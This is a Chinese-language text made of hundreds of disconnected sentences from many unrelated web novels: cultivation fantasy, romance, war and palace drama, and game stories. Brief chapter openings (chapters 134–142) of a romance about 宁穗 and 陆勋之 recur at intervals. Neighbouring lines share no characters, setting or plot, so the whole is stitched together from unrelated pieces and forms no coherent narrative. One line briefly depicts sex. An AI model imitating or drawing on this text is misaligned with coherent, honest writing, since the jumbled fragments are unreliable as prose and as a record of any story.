云炽点点头,只觉得它们对她有无限的吸引力。当她抚上这骨骼分明的手骨,发现它似乎也在低吟着回应她,隐隐闪着的一层光辉,是世上最美丽的金属和玉石都比不上的光泽。 嘲风身为秉承天地意志诞生的灵兽,孕于地火,吞噬雷霆,其威压对面前毒物有着天然的克制作用。 偶有像澹台明灭那种一人一宗门,或者东离西合独据东离山,也只是因为宗门部族凋零,不得不成为类似散修的存在。 “你怎么样?”冷心扶着江东羽,只见江东羽身上的仙力开始流失,雪发重新焦黑,面容逐渐丑陋,身材微躬,背驼脚跛,恢复成了原样。 两个宝宝,是因为,他要去狩猎,因为他疏忽的缘故,被人掳走的。 “你!”杨毅飞恨恨地看了他一眼,那柄剑是天道院E级学生的制式武器,比市面上的普通刀剑不知道锋利多少倍,他忌惮地看了叶征两眼,一跃吊上马尾的鬃毛就准备翻上去取剑。 江东羽讥笑一声,若不是猜到徐三输的身份,他又岂会压制不住内心的戾气。 “对了,我现在去给琰儿和心凉打电话,让他们到老宅来跟我们聚一聚。”白慕雅高高兴兴地说道。 这次的数学考试突然提前了两个星期,很多学霸都没有复习好,考的一塌糊涂。 铁心实在受不了郭羊的翻脸无情,却只能强忍着泪水,转过脸去,尽量不去看郭羊那张欠揍的面孔。 万海涛没有再次迎战骨鹰,而是稍顿一下闪身避开,堪堪躲过了骨鹰那对利爪的轰击,随后他翻身而上,身体左右两边一共现出三道灰色风镰来,朝着骨鹰激射而去。 “你们俩给我滚出去,别给我捣乱,恁爸马上就回来了,我得赶紧做饭。”张桂云板着脸训斥道,松开了拧在手上的耳朵,拿着铲子对着两人挥舞,把他们赶出了厨房。 林中很暗,林越清微微眯着眼睛,每跨越一个树枝,她便会接着密叶里偶尔会散落的月光四处打探着。 林道尊分身哈哈大笑,身上无数神纹闪烁,化作一条五爪金龙搏杀邵逸轩化作的金翅大鹏。 只要纪尘对抗扶桑国阴阳师,就算他立下大功劳,就能出面力保他。 将石锁举在胸口四五秒钟,穆炎才随手一抛,沉重石锁轰然落地,在地面上砸出一个大坑。周围众人清晰感觉到,石锁落地的同时,整个大地都是微微颤动了一下。 刚才情况危急,容不得他思考,这时候平静下来,他才觉得后怕和荒谬。 这时候,又有人抬着装满木碗的框子走了上来,给每人发了木碗和筷子,紧接着,又有人抬着装满了汤饼的木桶上来。 正说着,张明教忽然意识到了这个问题,狐疑的望着安子善问道,万一对方不同意捐建? 第134章 宁穗知道陆勋之的秘密 栗勤被问得一愣,有些无奈,笑了笑,还是从别的文件夹里,找出一些照片。 递给了宁穗。 她接过去一张张划过,看了一下照片的日期。 陆勋之坐轮椅的时候,正是在他出国交换之前不久。 她记得很清楚,上学的时候,有一次,陆勋之消失了几天,突然坐上了轮椅。 “行,你自己支配就是。”周龙飞笑了笑。,他知道自己这兄弟对于金钱的支配还是很有一定的手段的,他比自己懂得如何用钱,周龙飞是不太懂用钱这些。 “难道是那个幕后黑手?!”玛丽苏现在明显是把那幕后黑手当一切的背锅侠了。 这是很多至高存在都知道的事情,这也是时间至高的逆鳞,被他视为耻辱。 就在众人一筹莫展的时候,他们的头顶正上方突然传来两个充满威严的声音。 何妙然下午收到傅奕简的短信时,她还以为是在做梦,而现在,傅奕简如约出现在房间门口,她看着面前真实的人,脸上闪过那么一丝恍惚,才明白她不是在做梦。 一旁的其余几人在此刻也是没敢出声在那里,只是神色苦闷的看着无痕和周龙飞周旋。 “是的,毕竟这也是对他们百利而无一害的事呀,可以赚取名声,到时候他们也会出动自己的医疗团队来帮忙的,墨大少亲口和我说的。”苏悟兮十分认真的说道。 不过,一路过来,青天老祖虽然没有直观地了解,但是也知道圣地势力已经远远不如当时,尤其是圣地之色居然无法进入宝藏世界,差点令青天老祖认为这两人是假冒的,想要逃走。 阿克拉重重点头,不再多言,怀抱着慕雨柔进入了试炼之地的大门。 “你到底是谁?”欧阳天不是傻子,敢这么威胁欧阳家的大少爷,只有一种可能,对方的身份绝对不简单。 朱宏三看着周围这些臭老九一个个大点起头,纷纷品味起苏东坡的诗词,朱宏三心中一动,感觉应该打击一下这帮臭老九。 这真是雪上加霜!面临着破产,声败名裂,他烦恼得几天都没睡觉了。 花皓月虽然一直表现的比较淡定,但是其实他比谁都更加在意自己的腿,他感觉腿不痛了,怕腿部经脉出了问题。 李子君一计不成,心中正是焦急不已,却看到了在那里低着头,面露恨意的沈琴。 十八娘走上前去,坐在了李子期身旁,用湿帕子给李子期擦了擦额头上的汗珠子,因为出痘痒,他迷迷糊糊的想要伸手去抓,被十八娘拦住了。 陆伟祺毫不怜惜的撞入了她的禁地,在她叫着流泪的时候,他僵住身体停了下来,细细吻去她的眼泪,又才重新投入其中。 “呀,少爷你醒了?”雪晴发出一声惊喜的尖叫,赶紧停下手中的活计,跑到三味身边。“少爷你问我?我们还想问你了,你突然哈哈大笑几声,然后就倒下了,紧接着呼噜打的比黄勾的还响。”雪晴绘声绘色的描绘着。 那些孩子狼吞虎咽的把包子吃了,只有这个这个年纪较大的男孩,掰开了一个包子,吃了一半,将剩下的一个半包子用纸裹了起来,放在怀中。 蕾娜返回烈阳星的事情决定之后,就剩下了最后一件事情,那就是关于炎赫的登基大典最后的安排。 第135章 跟了哥哥,又跟弟弟吗? 宁穗也不知道自己是怎么睡着的。 最后的记忆,停留在她缩在墙边的角落里。 但是醒来的时候,她却在床上,被子也盖得好好的。 她怔怔望着天花板,没心情去想自己是怎么从地上,到床上。 陆闻之的事,给她的打击很大。 “阿姨,你的好意我心领了,不过不用了,如果有适合的你告诉我,我自己买就可以。”她有钱。 云凰三人找了一个位置,坐在一起之后没多久,阿菩便从外面走了进来。 “既然如此,那好,都是朕的儿子错,朕真是打心里过意不去!”慕容晟不觉歉疚道。 “既然如此,那就不进去。”千魂说完,动了动鼻子,一把抓住了烬途的手。 刚回国的那会,她还特意找过许严,想要索回妈妈的收藏品,许严却只是推脱着说都被徐芸卖掉了,一件都没拿给她。 花青瞳看清那夫人的面容时就震惊莫明,因此,出于试探或是惊讶,她惊呼出声。 那个姓沈的真是过分,不给她洗衣服不说,还让她在村子中众人的面前丢尽了面子。 突然有人靠近,云凰想要运用力量将人震开,却提不起来半分力量。 看他这样子,宁夏莫名有一种关于今晚去哪里吃,他似乎早就想好了错觉。 尽管隔得远,钱氏也看的出来秦琰的气色不错,再走进一看,秦琰那脸色除了还有一点儿微黑,哪儿还有半分之前的吓人? 在上面的时候,好歹有活人,而这里,除了他们之外,人影都没有,说不怕就是骗人的了。 煌彤正抱着蝾螈的腿骨啃得欢舞,听得她这么一叫不觉回头嘶吼了一声。 没有过硬的学识头脑,只靠金钱堆砌,是绝对不可能成功的,这就是为什么资本家永远也无法取代高端人才的原因!因为资本充满了铜臭味,只有智慧,才能永世传芳。 只见面前的修士中年模样,面容粗犷,一身紫色长袍,眉宇之间透着一丝张狂,不怒而威,眸子当中时而有着闪电泛起,一看就知道是一位将雷电之力修炼到了极高境界的强人。 “不……虽然这个地方说是我们劳家的禁地罢了,事实上从未有人取过,就连历代的茶尊者都是一样。”劳普洱苦笑说道。 有人在其中一个幕僚家里发现了美人,一时惊为天人,多方打听后得知了缘由,忍不住把这事儿传遍了京城。一时间,英王妃善妒的名声传遍京城皇宫,成为乌孙郡主与临安郡王大婚之前最著名的话题。 “提上来,给朕瞧瞧。”安宏寒冷漠的说道,脸上没有一丝表情,让人猜不透他的心思。 并没有其他意外情况发生,走了一个多时辰后,明珠他们终于攀上了崖顶。崖顶出乎意料的漂亮,有花有水有房还有菜园子和庄稼地,当然,这得忽略掉堆放在崖边的那些檑木滚石。 故而,现在玄天大师一下子将众人都保护了起来,又是为他们免去了一次麻烦。 叶蓁眉梢眼底透出笑意,想起第一次初见他还是个孩子,如今却已经变成了俊朗少年,因为她的重生,让这个少年也得到延续生命的机会,她也将墨容沂当自己的弟弟一样看待了。 虽然,她的性子不是耐心的人,但是人为了达到自己的目的,通常都会变的不一样的。 第136章 不做手术她会死 陆勋之整个人僵住,脑海里回荡着宁穗的这句话。 为什么不去死! 就那么想让他死吗? 可她这段时间,明明对他态度有了一些转变。 陆勋之捏着手指的指节渐渐发白,手背上的青筋暴起。 把自家哥哥叫来那是以防万一,万一黑白学院的院长堂堂半神之境超级强者真得斗不过陈然,那有自己哥哥在也算是加了一道保险不是。 然而就在这一日,第八十一城这边突然传来了一道恐怖的威压,就是还在山河图中的林昊等人,此刻也都是能够感受的到,一瞬间众人便是惊醒过来,连忙走出山河图。 前段时间,他收集了不少古血脉秘术,这些秘术都来自一些大星域的大型商会,都是珍藏的强大秘术。 上次因为刘备称王之事,司马无忌与关羽对赌之事历历在目,他们都没有忘记。如今司马无忌旧事重提,这就不得不让他们有些怀疑东吴大军可能最近有所行动。 而且子弹还是很奇特的白色,就连上面的花纹都与抢上的一致!这让肖强差点误以为是观赏用枪。 肖强的侃侃而谈吸引了不少人的注意力,逐渐的一些安监队的战士围拢了过来,在废土没多学一点可能就是救命的法宝,谁也不知道你下次任务会碰到什么样的敌人。 这倒不是假话,司马氏出手一直很大方的,毕竟财物算不得什么,何况现在拿的还是曹魏的。 “好的!”脑海中念头连转,陈然对着颜华迅速回应了一句后,便直接跟了上去。 “不是有我在吗?为什么还要麻烦大傻前辈。”宁唯心皱了皱眉头,开口询问道。 自然不知道,此时的县服装厂里,正在进行着一场艰苦卓绝地谈判。 仿佛与鲁公所言相应和,赤金螭龙体表的金光陡然大盛,围绕高禖坛盘旋游走的速度也提升了一截,一颗无角龙首昂然向天、无声咆哮。 等青衣再去御膳房取菜的时候,李佳璇听到外面动静,有些分神,她写字的手微微一顿,一一滴墨汁掉在纸上,刚好写好的一张纸就这样白费了。 像是有一种外力忽然介入,让她暴躁的情绪在一瞬之间冷静了下来。 这份音乐声有些古怪,舒缓的节奏让人的意识有些模糊,郝槐还在说着什么,声音很轻,配合着音乐的声音,给人一种相当奇妙的感觉。 我的灵体恢复进展相当迅速,虽然距离完全恢复还要疗养到二月初,但要想出院自由活动的话在春节前就可以。 他们一路行来,早见到禁水南岸郡县到处有尸鬼滋生的乱象,禁水北岸究竟能凶险成什么样,任谁也说不清楚。 方才陈明虽然在与玄都法师对话,但是也不断在无形中给长眉施压,一直被控制在范围内,不能动弹。 也就陈彬稍微好点,被一个装成自己亲妈的鬼东西折磨半天,好歹全身而退。 鹏魔王相貌也是颇为英俊,身材高大修长,一双鹰眼更是锐利无比。他的真身是金翅大鹏鸟,是远古时期凤凰所生众多之子的其中一个,更是天生神力。 叶尘梦拨通了知宝的电话,得知知宝在门外以后,便回头将肉包抱进了卧室。 第137章 没脸 宁穗回到宁安静在海城的老房子,推门而入,入鼻是淡淡的灰尘味道。 宁安静一走好几个月,这里没人打扫,家具上都盖上了白单子。 看上去有点萧索。 作为冷若冰的死党加好友,别的同学在大学分分合合,都不知道谈了多少拨恋爱了。偏偏她的这个好朋友,在学校长的是红颜祸水的校花的级别,学习成绩是学霸的那个等级,却愣是一场恋爱都没有谈过。 “是有些不对劲,不过蝼蚁就是蝼蚁,就算有算计又如何。”双手抱胸,屹立虚空的深红傲然道。 在房屋的角落,此刻一条巨大的金色身影出现在了王昊的视线当中。 “杀!”长发道人一声大喝,两柄湛金斧飞起,极速旋转,映衬出熠熠金光,恍如两道光芒万丈的烈日奔罗安斩来。 二猫吐了猫粮,翻了个身爬了起来,抖了抖自己身上的灰尘,还是决定出去找些正常的吃的。 顾知欢看着其实并不吓人,她长得好看,还经常笑,但就是会给人一种不寒而栗的感觉。 这乔司宴到底是在搞什么名堂?为什么要把她另外领到这个地方? 那个青色陶罐倒是不错,若是放在现代,绝对算个价值连城的青釉古董级别的,在这却不值什么钱,他也懒得拿。 不是王昊巴不得自己出事,而是眼前出现的情况太过诡异!这样的诡异,反倒是让人感觉不安。有一种暴风雨前宁静的感觉。 \t说着话,男人将密码箱递给秦风。秦风低头看了看密码箱,直觉告诉他,这里面是咬手的东西,绝对不能收。无缘无故的,谁会白送东西给自己。 功法秘籍对于修士来说,说是其生命那也一点都不为过,不是价值可以衡量的,难怪大家都为之疯狂。 “哲生,你想要干什么?我是你大哥!这里是龙家大厦,别忘了你也是龙家人,居然想要勾结外人来陷害我。”龙哲宇有些色厉内荏。 不一会儿,只见咕噜声停,飒沓风双目大睁,捂着喉咙钻出河面,咳嗽不断,我在一旁悠悠等他,觉得他不大甚用。 \t“什么事,神神秘秘的。你要不想说就别说了,我也不想听,秘密还是自己保守吧,别人你可千万别相信。”秦风说道。 她尽量使自己离他的背隔开一段距离,柳羿倒是什么都没说,一路上还不住的询问她莹魄镇的风俗,看他像是没发现自己,包子悬着的心算是放了下来。 不得不说,因为之前老王这里解出来了几块极品翡翠,所以这个时候来老王这里解石的人可以说是络绎不绝。 陈琅琊始终在门口看着,隐蔽的位置,刁钻的视线,没有人发现他的存在,但是他却是将这一切都尽收眼底。如果这个时候张桐软了,那么自己也就算看错人了。 因为陶亦他们派进去的人没有一个活着出来的,要不然他也不会给秦俊熙这样的一个外人来打电话求助的。 风盾破碎,同时头顶还爆发出600多点气血伤害,果然皮甲受不了这强大的攻击,直接一箭要走我3600+的生命,好在自己套了风盾,不然就可以回城了。 第138章 老头子找你干嘛? 宁穗没接,用手随意抹了一把脸,冷淡地转身,错身走出了洗手间。 再回到餐厅,烧烤已经都被收走,换上的是清粥小菜,看上去让人有胃口多了。 一看就是附近的高档餐馆送来的。 宁穗扯唇,这样体贴入微的丈夫,要真的喜欢她该有多好? 要知道这张卡里面存了两万亿美元的价值的货币,可能数的过来么? 等发泄够了,云子衿用袖子擦了擦脸,红通通的眼睛就像兔子的眼睛一样。 看着呆愣的云子衿,有些等急了的桃月伸手在云子衿面前晃了晃。 是他这个罪魁祸首,将他的狐儿拖入了这个吃人的地方。让她接触了本不该接触的,承受了本不该承受的,让她受到了这么大的惊吓。 王莹他们自语道:“这里应该就是玄煞谷么…。”旋即他们闭目查看石海的地图寻找猎杀的目标。 只见叶望叶平两人各自手执刀剑,同时将六只一阶黑暴猿压入下风。 这树心类似妖兽的妖丹,是万年火树生命精华凝聚,可谓极其珍贵,即便是炎火山之中也是数量稀少。 “哈哈,又有人送上门来了。主公果然是神机妙算!”龙麟马等修士也显出了身形,原来他们一直就在附近,只不过诛仙伏魔大阵有隐藏的效果,再加上十名修士注意力都在叶锋的身上,这才没能发现他们。 江东羽缓缓走向徐三输,所到之处人皆散开,此时的江东羽宛如嗜血战神,谁也不想当冤魂。 “没关系,如果想不起来也没事,你喜欢什么样的衣服,我这里都有。”段秋说道。 虽然魔法大部分都是单系的,但到了天级自然会掌握一些其他系的技能。 直到柳擎消失在天边,确认对方真的离开了此处之后,三人才长出一口气,各自收起灵宝,一下子放松了下来。 柳天面容淡定,内心却已是激动不已,如果晋级,他就到达了五重武聚期,这种修炼速度,在柳族的历史上,也决对是名列前茅了。 就这样兽人队伍渐渐的出现在了视野当中,根据装备来判断,兽人里应该又不少天级强者。 一间包房内,丁楠,丁宇和潘雨坐在一起,三人桌子上都有一碗酒。 陈景的声音一遍又一遍,人们耳中听着,不知不沉之中也跟着念着,在他们自己都不知道的过程中,心中那份对于恶鬼出世的恐惧已经消失了,心中唯有陈景横剑盘膝,神光闪耀的景象,诸邪不侵,外魔不染。 他只是思索了一会儿后,便朝左边的方向行去,左边的方向是向东,是通往山外的方向,一直以来,陈景的方向虽然不断的变换,但是大的方向一直是向东的,所以李慕仙只是想了一下便朝东面行去。 现在朱东弄了个扎夫特的公主回来,看样子和他关系还好得不得了的样子,玛琉只能让朱东自己做决定,这一点在场的其他人都有这个想法。 柳天不是那种容易激动的人,但是此刻,柳天已经没有了理性。平日里的沉稳,此时早已消失无际,唯一所残留的,是满腔的怒意。 人际关系可以拿满分,画画也可以拿满分,估计素描不错,判断身高也很准确,满分。价值观也可以拿八分,现在就差确定面貌,以及人际关系是否正确了。也因为提前交卷十分钟,可以额外加十分。 第139章 敌人的敌人,就是朋友 “你可真难约啊,嫂子。”陆凛之混不吝的笑容,让宁穗心头一紧。 她下意识地看向裴斯年,对方却拍了拍她的肩膀,“放心,敌人的敌人,就是朋友。” 最后,徐鼎临和骆宁心商量的是,徐鼎临与啸月狼君先去龙首山。骆宁心向金御风、沈自开问问华阳宗的情况后,再决定下一步的事情。 还有最重要的一点,魔帝的为什么会来天山,专门要她的魂魄呢?这也太奇怪了一点吧。 “引——擎——”刚刚阿特拉斯的一番话,周信总共就只听到了这两个字。于是,接下去的一段时间内,他唯一听到的这个词就这样不断在脑中翻滚着。 “还是那样吧。”到如今,穆晓晓心中明了,看来她与这燕子的关系也不错,从她的话里话外都能感觉的到。 陆瑾年看了一会儿,走上前,扯起被子,盖好在她身上,顺便将卧室内的暖风开的稍微大了一些,他凝视着她看了许久,才转身走出卧室。 “幸好,这个阴谋被皇圣明的揭穿了,于是巫溪国太子一计不成再生一计,有了这个求娶。 柳凝悠见状,身形一闪,连忙躲在大树的后面。确认没人注意到她,又伸出了头,看了看。 白凤然发觉,眼前这个那人每一剑越来越威力大了,之前没有带着的这些法术,而这一次,却是都表露出来了。 但是,这些人影的数量越来越多,每一个的实力也愈发的强,似乎他这具思绪分身的存在已然引起封天之阵高度的关注。 韩锋目不转睛地盯着这些泉水,外放魂力一探,原来这泉水全是灵液,淡淡灵光闪动,氤氲如烟,很是奇幻。 突然之间,地面一震,震动地面不稳,他们仨有些站立平地之上不稳,左右晃动的厉害,他们俯下身子单膝跪地,以保持自身平衡。 梁沐苍,望向下面异兽地狱守门蛮牛心有不甘地离开,心中顿时打起一个主意。 简而言之,一位虔诚且善良的信徒在掌握权力后也会变成无恶不作的暴君。 “怎么回事?!”有几个一看就是上位者的老人在警卫的保护下赶了过来, 然后就看到了化作废墟的地下实验基地,以及两个正在对峙的舰娘,“俾斯麦,这是?”为首的老人沉默了片刻,将视线投向了俾斯麦。 云台之上的,冥王赫亚,见自己施展的法术,打开异界比邻,被昊天浮屠塔内的,核心棋盘,封住,便不敢在放出,这些魑魅魍魉漆黑鬼物。 总督区虽然是在伊安的控制下,但其中活动的商人都有着自己的主意,其中的很多人都注意到了沙漠内存在的巨大潜力。 3号上午,老王就迫不及待地送走了茜茜,没有了负担,感觉一轻松。 将【沃利贝尔呼吸法】提升到超凡级别,这才是他现在首要目标。 胡杨知道,诺诺她们京剧班的教学方式和普通高校有所不同,没那么多必修、选修课,多的是实践、排练和演出。 顾谨城情不自禁的唤出声来:“晴晴……”看着乔安媛的眼神愈发的神情。 除了必选的毛僵之外,绿僵周扬不需要这么多,只是挑一头看得顺眼的。 特兰克斯想不通,在他看来,赛亚人变成超级赛亚人已经是极限了。 “八嘎,那是什么武器?中国人怎么会有这么厉害的武器?”穴澤大队长可在观战呢,但只见前头一轮火光之后黑烟冒天,自家的士兵们直接被消掉了一排,这是什么操作? 尤俊民当然不会傻到认为苏仲卿眼巴巴,悄无声息地摸到东平,是来认自己这个勉强沾边的叔叔的,尤胖子若论带兵打仗,或是军国政略那肯定不行,但在勾心斗角,尔虞我诈这方面,也绝对是王者段位的。 “如果今天道观游客多,那我就出去玩一整天,天黑了再回来,好不好?”黑熊笑眯眯地说。 那么鬼子这边的王炸呢?除了轰炸机,恐怕就是109 炮兵联队了。不过山区作战,这俩王炸受限太多了点。 这些东西在火药炸响的巨大推力下飞离了炮口,然后逐渐的散开,并飞速的向着鬼子的队伍飞去。 这几艘朝廷购买的老闸船,形制应该是最大号的,几乎都相当或超过了现在海商所使用的。长十二到十三丈,宽两丈到两丈五,至少能装载三十门大炮。 今天刚好是林冲带兵出来巡逻,五百轻骑兵拿着长枪,腰间挂着骑兵刀,精神抖擞的巡逻。 “修炼应该是全方位的,我在测试你的定力。”复制舞笑嘻嘻道。 晁盖又安抚了段景住几句,承诺战死的马帮成员每人有一份二十贯的抚恤,是济州团练的心意。 “李旭,我今天告诉你情况的目的,只是让你早作打算,你要是真的与他们对着干,我担心他们什么事情都做得出来。”夏岚警告道。 正此时,出来一位中年人,四十几岁那样,看样子就狼狈了,右眼一个黑眼圈,脸上还有五个手指印。 绝尘下一个要攻击的是悟空,他心中也有不解,刚才那家伙拼命逃走的时候,这俩货怎么不走,难道是因为自信? a计划,雪夜长歌按照部署骗过温奕,拿到兑现的承诺后,正常情况下由森林中率先发动攻击,引诱兽族军团进入森林中的陷阱区域,从四面八方发动攻势,一步步蚕食冲进林中的敌人。 “今年黑龙岛和新济州岛丰收已经成定局,在留足咱们粮草储备的情况下,希望哥哥能多调拨一些粮草救济一下山东的难民,有些人实在是年老无力,虽然老了总归是要死,但是不应该是饿死。”公孙胜道。 听他的回答不像是在胡编乱造,陈慕凡竖了一个手指,说道:“最后一个问题,问完了你就没事了!说,那个只是你的家伙是什么身份?”大体的情况陈慕凡已经有了了解,现在问出口的才是他最想知道的事情。 第140章 他的心像是被一万根针扎 宁穗这几天都睡得不好。 梦里金发碧眼的男人一直追着她。 宁穗被逼到深渊边上,退一步,脚边的碎石子哗啦啦掉进无底的深渊,像是掉进黑洞。 金发碧眼的男人,步步紧逼,脸一会儿是他,一会儿是陆勋之。 宁穗急哭了,想大喊救命,嘴巴里像是被堵了棉花,根本叫不出声。 几千里的距离,陈凡传讯丝毫没有问题,甚至比他们还更加自如。 “想要得到这座秘境,炼化那块界牌就行,不过貌似你们还弱了一些,不到天人境,终究是差了点!”傀儡人说话,带着一丝遗憾之意。 走了几步,曹菊英没见郝佳明的手电筒光亮追上来,曹菊英又倒回去树下。 钻心的刺痛流窜全身,还有那恐怖的威压彻底将宋布宥笼罩,让宋布宥又惊又怒。 而也有很多时候,就算是有着绝妙的药方,可若是没有相对应的药材,那也是没有任何毛用的,在珍贵的药方,那也不过是一张废纸,没有任何价值,就连擦屁股都嫌硬的那种。 “这是我同化过得魔神柱的毒,准确说还经过了我的萃取。”说这话的时候布松满满的都是自豪。 “人数不少,难道是其他师弟混入其他队伍逃了出来?”古昊等人皱眉。 他本是刑堂堂主,后来才成为青红帮的三把手,如今听到刑堂覆灭的消息愤怒无比。 听完王虎的叙述,唐枫无所谓的耸了耸肩,原本他还以为能有什么有用的消息,谁知道只是一些不上档次的邪气。 说话间,李萧然握紧双拳,一阵力道从下升起,将身上的衣服撑破,那身龙袍便出现,皇帝几乎震惊。 他不认为秦桧是一个主次不分的人,秦桧之所以会这么做孙权也能猜出原因,那就是赵构是在是太渣了,对于政务太不上心了,所以秦桧才将这件事情作为主要的事情来抓。 只是,她处理伤口虽不能保证百分百恢复,却也没有这么高的死亡率。 饶是裴宴城再专注挑选着两人的婚纱照,也不得不被虞楚给影响到。 “不用在意这个细节,反正你早晚都得死。”魏勇摆了摆手说道。 牛山带着两个孩子离远了一些,现下虽然听不到了,但刚开始的时候,还是听去了一些声响。 神仙洞这种技术,对付下面棺椁已腐烂了的浅墓,几乎百发百中,省下不少精力。 这样的纸扎品,就算能够改造成功,缺少内部零件,估计到下面也用不了。 “不是吧!”顾梦知摸了一下兜看了一眼墙上面的电击装置忍不住骂了一声,便是转身便是向外面开始开溜。 看着两人卿卿我我的样子,我真的很替他们开心,谁也没有想到,自己的一个无心之失,竟然会让两人走到一起。 信鸽适合短距离传信,信鹰适合长距离传信,两者相互补充,倒是不错。 时间久了,我的名气就越来越大,甚至从隔壁城镇跑过来,为自家病重之人讨要一颗丹药的也有。 在无数声痛苦的惨叫下,一名名佣兵从马背上栽了下去,鲜血染红大地。 我被雪千城紧紧挡在身后,只能看见他的背影,不知他的脸上现在是什么样的表情。 今天这场打斗就是因为周家有人在刘家挖坟坑的时候上山去捣乱,才会闹起来的,好在最后双方谁都没有吃亏,都是动嘴的时候多,动手也都计较着尺度。 第141章 我不能再让你受伤了 宁穗愣住,没想到陆勋之会替她挨一下。 以前在陆思思的事情上,陆勋之都是选择息事宁人。 让她忍。 她怔怔望着陆勋之,这一下子陆思思使了全力,他的额头上迅速渗出豆大的汗珠。 是真的痛。 宁穗不敢想,要是刚才她被砸到会不会脑袋开花。 她面对提问愈发云淡风轻了,反倒是一旁的青棠受不了,往前走了几步,挡在二人中间,语气不善却又有些收敛。 于是曾经麻木冷漠的那些片段、那些他不曾在意过的细节都一个个浮现在了眼前。 他甚至没有半点怀疑,全天下都找不出第二个像她这样的傻瓜了。 查尔斯说起这句话的时候,眼神黯淡,耷拉着眉眼的样子是米兰公主从来没有见过的迷茫。 呸…好一个她叔,都是谣言四起,才将她供上一姐这么个奇奇怪怪的位置。 日向一族可能有一部分人傲气了一点,但绝不像宇智波那么极端,他们似乎陷入了一种不给我火影地位就是看不起我宇智波的怪圈里,要尊重,要地位,要权力,却不屑玩手段,甚至很多人,连做做样子都懒得做。 日向结弦一时语塞,纠结片刻,还是将当时的情形,与鹿前辈的话语,原封不动的复述了一遍。 戴姨说完,站起来,自己走出了房间,走时还特地指了指放在桌上热乎的牛奶。 他拿起手机看见关琦的信息和未接电话。想了想还是回了一个电话。 胤禛甩开马缰绳,穿行于街市,他不想此时回宫去。随从侍卫暗自跟随,好在胤禛今日穿得就是普通的常服,在京城不打眼,看去不过是以为富家少爷。 在基础枪械退下来的时候,陶宝乘机以超低价格收购到了一批枪支,靠着韩为民这条线,她并没有花费太大力气就弄到了手,如今这批枪支弹药还老老实实躺在陶宝佣兵团驻地的地下室里。 不需要李玄夜命令,潜伏在地底的土灵立即替友方卸去了大半的力量。 如今,已经没有她选择的余地了……只是,布尔泰要见她的理由是什么?当初他虽然对她示好,可是也不是很上心,而且现今,他也知道她嫁了人,他还想怎么样? 紫檀高几上的香炉轻烟袅袅地飘散着清淡的香味,初冬的阳光温煦明媚地从窗外披洒进来,尘埃在空气中欢乐地舞动着,屋里显得静谧而温暖。 她把被子掖的严严实实,生怕漏进风去冻着他,像他妈一样细心可爱。 俞正男原打算装腔作势的表个姿态,再半推半就一番,在众人力推下风光上位。谁知先前承诺了他的胡立成阵前倒戈,让他吃了个哑巴亏。 夜色很好的遮掩了叶政一刹那的慌乱,他像是个努力掩盖谎言,却被人轻易戳穿的孩子,眼中闪过不属于他的马乱兵荒。 她怕一会儿赵雅、陶尔她们醒了找到她,急忙收拾东西退房离开了美食娱乐城。 后来,她有想过,直接跑到梁家,让他们看看自己,或许就会同意了。 一旦强行去做,后果就会不停的出现错误,以至于整个游戏报废,也就是所谓的bug。 “长官,拉克丝,车子已经准备好了。”阿斯兰向我们招手喊到,他的身旁正停着一辆挂着扎夫特牌照的磁浮车。 第142章 一切都来不及了 陆勋之浑身一僵,手臂收紧。 他的气息压在耳边,声音又哑又沉,“对不起……” 宁穗愣住。 陆勋之的回答…… 是在乎她吗? 宁穗唇角闪过一丝苦笑。 尽管习惯了这个缺乏娱乐的年代早睡早起,但习惯不代表喜欢,哪怕睡得再早,让他这个时候起,他依旧觉得困顿。 后面的话不需要说了,大家已经看在了眼里,托尔浴血奋战,与那个虚无战斗的异常激烈,但是大家都是身经百战的战士,很轻易的能够看出,托尔已经不行了。 想到这些,柏易感到浑身一轻,不过随即脑中又闪过宋蕊的样子,至今两人还没有和好。过了这么长是时间,柏易心里其实已经有一种猜测,宋蕊十有八九是知道了他和萧筱的事。 在场另外三尊尸族仙王心底大骇,金恒的防御力可是极强的,在在场几尸里位列顶尖,就算在整个尸族仙王里金恒的防御也排得上名号。 然而封胥骑的速度并未放缓,依旧如风一般疾驰在平原上,哪怕就是山丘也如履平地,每一名骑兵的马匹腰间系着箭袋,箭袋仿佛无穷无尽,从里面源源不断取出箭矢。 腾冲被绿帽子笼罩之后,就感觉到一道道毁灭性的绿色气流将他笼罩了起来,甚至朝着他的体内渗透,要活生生将他分解。 “命高长恭军团南下支援,同时陈庆之军团直接扫平大炎皇朝其他未被占领的区域,扫平之后直接占领困云关,堵住云龙王朝的后路。谢玄军团西进,防止大鸿皇朝趁火打劫。”白宇直接下令。 行云心下也是暗到:“这点棚子并不值几个钱,弄些木头拉些布面便可,但如此一来却拉拢了这么多的人心,虽然说让这些人公然对抗武当那是不用想的了。 虽然卖出去的单价都不低,但是平均下来一次的收入也就一两千美元而已。 听到萧筱说她要减肥,柏易不由的扫了她一眼,目光恰好落在她的胸前。第一感觉,大!他不由的想到了一句成语:有容乃大。果然大都是减出来的。 “不好!”赤色云气在身上一涌而过,聂舍云手提长剑却是丝毫无法施为。 太史擎握紧了腰间的杀人剑,这一句话说出来云清风淡,却是他心中最大的执念。 “好,上塑料板~!”卢宏哲对着下面的工作人员说道,得到指示的工作人员顿时抬上来三个塑料板。有些字体被纸条挡住了,需要撕开才能看到。 正餐吃完之后饭后的甜点端了上来,蜜汁的乳酪一看就勾起了赵一颜的食欲,软糯的乳酪之间是精巧的几枚核桃,上面点缀着鲜红的车厘子,这种传统的中餐厅很少能看到如此精致的糕点。 打的团队多了,元素精华碎片自然也出的就多了些,在没有人知道具体用途的时候,价格也只是维持在500金左右。 杨颖的表情一下就暗了不少,可以看到她咬唇的力道加大了很多,手指都扣在一起,然后缓缓的抬头望着李霆琛,眼睛里噙着一层委屈的泪花。 无论主动也好,被动也罢,他们和那孩子外形的妖邪交手了很多次,虽然每一次都落在下风,至少还可以保证自身不受伤害。可是包大同突然来了这么一场怪病,形势突然变得严峻起来。 包不同和方管家呆在外间,她和帽儿如玉还有秋池一起守在内间。 高森冷汗都出来了。如果给他们点时间,他们才是最适合做位面入侵的种族。就这水平就算是到了地球估计都吃不着亏。 龙吟声从他肚脐眼中响起,敖霸身躯一颤,脸上闪过痛苦之色,转瞬即逝。 而这一声却也是惊得洛裳好奇的睁开双眼,但入眼的景象不禁是使得她的脸色变得更加的绯红,匆忙的再次将双眼紧闭。 “恩?我们这种人?”渊祭哑然失笑,她还真的想知道,他们算是什么样的人? “恩人,这是应该的!”阿格尼坚持要下跪行礼,连忙摆开马原的手,而马原也是丝毫不让,于是二人便就此扭捏纠缠去在一起了,相互礼让着。 